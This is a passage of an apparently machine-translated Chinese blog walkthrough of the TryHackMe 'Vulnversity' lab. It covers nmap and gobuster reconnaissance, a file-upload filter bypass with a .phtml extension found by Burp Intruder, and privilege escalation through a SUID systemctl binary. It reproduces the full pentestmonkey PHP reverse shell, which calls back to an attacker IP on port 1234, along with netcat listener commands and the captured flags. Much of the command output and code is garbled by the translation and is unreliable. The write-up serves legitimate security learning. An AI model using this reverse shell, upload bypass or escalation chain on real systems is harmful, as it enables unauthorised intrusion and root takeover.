[TryHackme]了解有关侦察,Web应用程序攻击和特权升级的所有信息!脆弱性写入

[TryHackme]了解有关侦察,Web应用程序攻击和特权升级的所有信息!脆弱性写入

这次,我将尝试在Tryhackme中征服房间的“脆弱性”。
“ tryhackme-vulnversity: https://tryhackme.com/room/vulnversity

请注意,解释是破坏者。

推荐的参考书
作者:ipusiron
¥2,090 (截至2025/07/13的15:33 |亚马逊研究)
rakuten积分销售! /
rakuten市场
\返回5%! /
雅虎购物
作者:ipusiron
¥3,850 (截至21:11在07/08/2025 |亚马逊研究)
rakuten积分销售! /
rakuten市场
\返回5%! /
雅虎购物
作者:贾斯汀·塞茨(Justin Seitz),作者:蒂姆·阿诺德(Tim Arnold),监督者:曼塔尼·诺布塔卡(Mantani Nobutaka),翻译:arai yu,翻译:卡卡拉·hirosei(Kakara Hirosei),翻译:村上
¥3,520 (截至12:26在07/09/2025 |亚马逊研究)
rakuten积分销售! /
rakuten市场
\返回5%! /
雅虎购物
rakuten积分销售! /
rakuten市场
\返回5%! /
雅虎购物
目录

部署机器

首先,部署目标机器。
选择“开始机器”

如果显示IP如下所示,则没有问题。

回答

侦察

首先,我们将使用称为NMAP的网络扫描工具来收集有关目标机器的信息。
有关命令的更多信息,请参考我尝试使用NMAP,这是一种功能强大的网络扫描工具!

(hacklab㉿hacklab) -  [〜]└─$ nmap -sv 10.10.141.243开始NMAP 7.92(https://nmap.org),2023-04-19 21:1:13 JST NMAP扫描报告10.10.141.243主机up(0.24S)。未显示:994封闭的TCP端口(Conn-Refused)端口状态服务版本21/TCP OPEN FTP VSFTPD 3.0.3 22/TCP OPEN SSH OPENSSH 7.2P2 UBUNTU 4UBUNTU2.7(UBUNTU LINUX; UBUNTU LINUX; ubuntu Linux; stoloppy;协议;协议; NetBios-SSN Samba SMBD 3.X-4.X(工作组:工作组)3128/TCP OPEN HTTP-PROXY SELE squid HTTP Proxy 3.5.12 3333/tcp Open HTTP Apache HTTP APACHE HTTPD 2.4.18((UBUNTU) OSS:UNIX,Linux; CPE:CPE:/O:Linux:Linux_kernel服务检测执行。请在https://nmap.org/submit/上报告任何不正确的结果。 NMAP完成:1个IP地址(1个主机)在58.36秒内进行扫描

您会看到大约有六个服务正在运行。

回答

您也可以在线使用许多NMAP“作弊表”。

扫描盒子,打开了多少个端口?

机器上正在运行哪种版本的鱿鱼代理?

如果使用FLAG -P -400,则NMAP扫描多少端口?

(hacklab㉿hacklab) -  [〜]└─$ nmap -sv -p-400 10.10.141.243从2023-04-19开始NMAP 7.92(https://nmap.org),https://nmap.org)21:22 21:22 jst nmap nmap scan报告10.10.141.141.141.243 encence(0.24)。未显示:397个封闭的TCP端口(CONN-REFUSE)端口状态服务版本21/TCP OPEN FTP VSFTPD 3.0.3 22/TCP OPEN SSH OPENSSH 7.2P2 UBUNTU 4UBUNTU2.7(UBUNTU LINUX; vulnuniversity; OSS:UNIX,Linux; CPE:CPE:/O:Linux:Linux_kernel服务检测执行。请在https://nmap.org/submit/上报告任何不正确的结果。 NMAP完成:1个IP地址(1个主机)在16.39秒内进行扫描

使用NMAP标志-N无法解决什么? (使用NMAP标志-n求解什么?)

该机器正在运行的最可能的操作系统是什么?

(hacklab㉿hacklab) -  [〜]└─$ sudo nmap -sv -o 10.10.141.243 1⨯开始NMAP 7.92(https://nmap.org),2023-04-19 21:45 JST NMAP SCAN报告为10.10.141.141.243 instency in 10.141.24.24.24.24.24.24.24.24.24.24.24.24.0.24(0.24)。未显示:994封闭的TCP端口(重置)端口状态服务版本21/TCP OPEN FTP VSFTPD 3.0.3 22/TCP OPEN SSH OPENSSH 7.2P2 UBUNTU 4UBUNTU2.7(UBUNTU LINUX; ubuntu Linux; strotast;协议;协议;协议; netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 3128/tcp open http-proxy Squid http proxy 3.5.12 3333/tcp open http Apache httpd 2.4.18 ((Ubuntu)) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/)。 TCP/IP指纹:OS:SCAN(V = 7.92%E = 4%D = 4/19%OT = 21%CT = 1%CU = 36437%PV = Y%DS = 2%DC = I%G = Y%TM = 6433FE27 OS:9%p = x86_64-pc-linux-gnu)seq(sp = 100%gcd = 1%isr = 108%ti = z%ci = i%ii = i%= i%ts = 8)ops OS:(O1 = M506ST11NW7%O2 = M506ST11NW7%O3 = M506NNT11NW7%O4 = M506ST11NW7%O5 = M506ST1 OS:1NW7%O6 = M506ST11)WIN(W1 = 68DF%W2 = 68DF%W3 = 68DF%W4 = 68DF%W5 = 68DF%W6 = 68DF)ECN OS :( r = y%df = y%t = 40%w = 6903%o = m506nnsnw7%cc = y%q =) OS:s%rd = 0%q =)T2(r = n)T3(r = n)T4(r = y%df = y%t = 40%w = 0%s = a%a = z%f = z%f = r%o =%rd = 0%q =)t5(r OS:= y%df = y%t = 40%W = 0%s = z%a = s+%f = ar%o =%rd = 0%q =)t6(r = y%df = y%t = 40%w = 0%s = a%a = z%f OS:= r%O =%rd = 0%Q =)T7(r = y%df = y%t = 40%w = 0%s = z%a = s+%f = ar%o =%o =%rd = 0%q =)u1(r = y%df = y%df = n% OS:T = 40%IPL = 164%UN = 0%Ripl = G%RIP = G%RIPCK = G%Ruck = G%Ruck = G%Rud = G) OSS:UNIX,Linux; CPE:CPE:/O:Linux:Linux_kernel OS和服务检测执行。请在https://nmap.org/submit/上报告任何不正确的结果。 NMAP完成:1个IP地址(1个主机UP)在44.07秒内进行扫描

Web服务器在哪个端口上运行?

重要的是要确保您始终在进步之前彻底进行侦察。了解所有开放服务(这都可以是剥削点
)非常重要,不要忘记,较高范围的端口可能会打开,因此始终在1000后扫描端口(即使您在后台放置扫描)(即使在后台进行扫描)。

使用Gobuster找到目录

扫描网站以查找隐藏的目录。

┌-─(hacklab㉿hacklab) -  [〜]└─$ GOBUSTER DIR -U http://10.10.141.243:3333:3333 -w/usr/share/wordlists/wordlists/dirbuster/directory/directory-directory-list-list-list-list-2.3-medium.txt ======== gobuster v3.5 (@firefart)======= [+] url:http://10.10.141.243:3333 [+]方法:获取[+]线程:10 [+] WordList:/usr/share/wordlists/wordlists/dircuster/dircuster/dirctore-list-list-list-list-list-list-list-2.3-medium,.3-medium,.3-medium.txt [+]+30+30+30+30.4 [4]+3.4 [4] [4.4 [4] [44] [44] [4] [4] [44] [3.4] [3.4]超时:10s ====================== 22:13:23在目录枚举模式下开始Gobuster =====/图像(状态:301)[尺寸:322] [ - > http://10.10.141.141.243:333333333/images/images/images/images/images/]/css/css(301) http://10.10.141.243:3333/css/] /js (Status: 301) [Size: 318] [--> http://10.10.141.243:3333/js/] /fonts (Status: 301) [Size: 321] [--> http://10.10.141.243:333/fonts/]/internal(状态:301)[尺寸:324] [ - > http://10.10.141.243:3333333333333333333333/internal/]

有各种目录,但是“/内部/”似乎可疑。

找到了带有上传页面的目录。

回答

什么是具有上传表单页面的目录?

妥协Web服务器

我找到了一个可以上传文件的页面,因此我将尝试使用它。

回答

您要上传以利用服务器的哪种常见文件类型被阻止?尝试一对夫妇找出答案。

我对此不确定。 。 。在搜索很多之后,似乎.php是答案。

我将尝试使用Burp Suite的入侵者找到可以运行PHP的扩展程序。
转弯截距正在上传和上传。

现在,选择“动作”>发送给入侵者。

这次,我想更改文件扩展名,因此我搜索了我上传的文件,并将扩展程序包装在“§”中。

将有效载荷选项设置为[.php,.php3,.php4,.php5,.phtml]。

如果这样做,您会发现所有内容都将在200时返回,如下所示。

在这里,长度的差异仅为“ .phtml”。
让我们稍微看一下内容。

只有.phtml已恢复成功。
利用这一点运行PHP反向外壳。

创建PHP反向外壳的参考。
不要忘记更改您的IP。

(hacklab㉿hacklab) -  [〜/tryhackme/vulnversity]└─$ cat php-reverse-shell.phtml <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '10.18.110.90'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 =>阵列(“ pipe”,“ r”),// stdin是一个管道,孩子将从1 => array(“ pipe”,“ w”)中读取该管道,// stdout是一个管道,孩子会写入2 => array(“ pipe”,“ w”)// stderr是孩子的管道,孩子会写下孩子的管道); $ process = proc_open($ shell,$ distriptorspec,$ pipes); if(!is_Resource($ process)){printit(“错误:不能产生shell”);出口(1); } //将所有内容设置为非阻止//原因:偶数读取将阻止,即使stream_select告诉我们他们不会stream_set_blocking($ pipes [0],0); stream_set_blocking($ pipes [1],0); stream_set_blocking($ pipes [2],0); stream_set_blocking($ sock,0); printit(“成功打开反向外壳到$ ip:$ port”); while(1){//检查(feof($ sock)){printit(“错误:shell Connection终止”);休息; } //检查(feof($ pipes [1])){printit(“错误:shell process终止”);休息; } //等到命令结束$ sock,否则请在stdout或stderr $ read_a = array($ sock,$ pipes [1],$ pipes [2])上使用某些//命令输出。 $ num_changed_sockets = stream_select($ read_a,$ write_a,$ error_a,null); //如果我们可以从TCP套接字中读取(in_array($ sock,$ read_a)){if($ debug)printit(“ sock read read”); $ input = fread($ sock,$ chunk_size);如果($ debug)printit(“袜子:$ input”); fwrite($ pipes [0],$输入); } //如果我们可以从该过程的stdout中读取// // if(in_array($ pipes [1],$ read_a)){if($ debug)printit(“ stdout read read”); $ input = fread($ pipes [1],$ chunk_size);如果($ debug)printit(“ stdout:$ input”); fwrite($袜子,$输入); } //如果我们可以从该过程的stderr读取// if(in_array($ pipes [2],$ read_a))){if($ debug)printit(“ stderr read”); $ input = fread($ pipes [2],$ chunk_size);如果($ debug)printit(“ stderr:$ input”); fwrite($袜子,$输入); }} fclose($ sock); fclose($ pipes [0]); fclose($ pipes [1]); fclose($ pipes [2]); proc_close($ process); //喜欢打印,但是如果我们对自己进行守护程序,则什么都不做。//(我不知道如何像适当的守护程序一样重定向stdout)函数printit($ string){if(!$ daemon){print“ $ strign \ n”; }}?> 

在上传文件之前,请在1234上收听。

┌┌前(hacklab㉿hacklab) -  [〜/tryhackme/vulnversity]└─$ nc -lvnp 1234在[any] 1234上听

如果可能的话,请从早期上传PHP反向外壳。

这是一个成功。

通过访问http://10.141.243: PHP

让我们看一下他在这种状态下聆听。

(hacklab㉿hacklab) -  [〜/tryhackme/vulnversity]└─$ nc-lvnp 1234在[任何] 1234上聆听[10.18.110.90]。 21:00:45 UTC 2019 X86_64 X86_64 X86_64 GNU/Linux 10:05:06 UP 1:57,0用户,0个用户,负载平均:0.03,0.01,0.00用户tty in login@ idle@ IDLE jcpu pcpu pcpu what what what what what uid = 33(wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwdata,3333)(www-data)(www-data) /bin /sh:0:无法访问tty;工作控制关闭$

您可以正确运行反向外壳。
让我们看看有什么样的用户。

$ cd home $ ls账单

该用户的user.txt似乎有标志,因此请务必对其进行检查。

$ cd Bill $ LS user.txt $ cat user.txt 8bd7992fbe8a6ad22a63361004cfcedb

特权升级

接下来,我们将寻找一种升级特权以获得根源特权的方法。

这次,我们将使用SUID升级特权。
如果您不确定SUID是什么,请参考使用SUID/SGID可执行文件的电子化

首先,让我们查看SUID可执行文件列表。

$ find / -type f -a \(-perm -u+s -o -perm -g+s \)-exec ls -l {} \; 2>/dev/null -RWXR-SR-X 1根TTY 27368 2018年5月16日/usr/bin/bin/bin/bin/rwxr-sr-x 1根TTY 14752 3月1日2016年3月1日/usr/bin/bsd/bsd/bsd-write -rwsr-xr-xr-xr-xr-x r-xr-x 1 root 32944 5月32944 5月16日2017年/usr/usr/usr-sr-srimrimrm rm r.rik rwx rwx rwx rwx 39520 2014年11月18日/usr/bin/mlocate -rwxr-sr-x 1 root Shadow 62336 2017年5月16日/usr/bin/bin/chage -rwsr-xr-x 1 root 49584 2017年5月16日2017年5月16日-rwxr-sr-x 1 root ssh 358624 2019年1月31日/usr/usr/bin/ssh-agent -rwsr-xr-x 1 root 32944 2017年5月16日/usr/bin/bin/newgidmap -rwxr-sr-xr-sr-x 1 root crontab 36080 apt-apr-5 2016/usr/bin/crontx-rontx-rontx-rontx-rontx 136808 2017年7月4日/usr/bin/sudo -rwsr-xr-x 1根40432 2017年5月16日/usr/usr/bin/chsh -rwxr-sr-x 1根阴影22768 2017年5月16日/usr/usr/bin/bin/bin/expiry -rwsr-xr-xr-x rook 1 root 5 root 5 root 542542 2017/16 2017年/16 2017年/16 2017年/16 2017年/usrr -rwsr-xr-x 1 root root 23376 Jan 15 2019 /usr/bin/pkexec -rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016/usr/bin/at -rwsr-sr-x 1 root 98440 2019年1月29日/usr/lib/snapd/snapd/snap-confine -rwsr-xr-xr-xr-xr-xr-xr-xr root 14864 root 14864 2019年1月15日 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 76408 Jul 17 2019 /usr/lib/squid/pinger -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /USR/LIB/DBUS-1.0/DBUS-DAEMON-LAUNCH-HELPER -RWXR-SR-X 1根UTMP 10232 2016年3月11日/usr/lib/lib/x86_64-linux-gnu/utempter/utempter/utempter/utempter -rwsr-xr-xr-xr-xr-xr-x root 38984 root 38984 2017年14 2017年/usr/lib/x86_64-linux-gnu/lxc/lxc/lxc-user-nic -rwsr-xr-x 1根40128 5月16日2017年5月16日/bin/su-rwsr-xr-xr-xr-x 1 root 142032 root 142032 1月28日,2017年1月28日-RWSR-XR-X 1根根44680 2014年5月7日 /bin /ping6 -rwsr-xr-x 1根27608 2018年5月16日 /bin /umount-umount -rwsr-xr-x 1 root 659856 2019年2月13日2019年2月13日-rwsr-xr-x 1根30800 7月12日 /bin /fusermount -rwxr-sr-x 1根阴影35600 APR 35600 APR 9 2018 /sbin /sbin /unix_chkpwd -rwxr-sr-x 1 35600年3月6日2017年 /SSBIN/Mount.cifs

GTFOBINS ,似乎可以使用“/bin/systemctl”进行特权升级。

我将稍微编辑gtfobins的内容并运行它。

$ tf = $(mktemp)。服务$ echo'[service] execstart =/bin/sh -c“ cat/root/root.txt>/tmp/outpt /etc/systemd/system/multi-user.target.wants/tmp.etlafk2gsg.service to/tmp/tmp.etlafk2gsg.service。 $ CD /TMP $ CAT输出A58FF8579F0A9270368D33A9966C7FD5

如果正确完成,则输出中应该有一个标志。

概括

这次,我试图征服称为“脆弱性”的房间。
我认为内容很简单,但是我不了解很多事情,当我看文章时,我无法理解一些事情。
另外,似乎您还没有找到攻击的漏洞。

我将继续学习。 。 。

参考和站点

媒介(utkarsh rai): https://infosecwriteups.com/tryhackme-vulnversity-70CEEB601757

如果愿意,请分享!

谁写了这篇文章

这是我开始研究信息安全的博客。作为一名新员工,如果您能宽阔地看着,我会很高兴。
还有Teech Lab,这是一个学习编程乐趣的机会,因此,如果您对软件开发感兴趣,请务必看看!

目录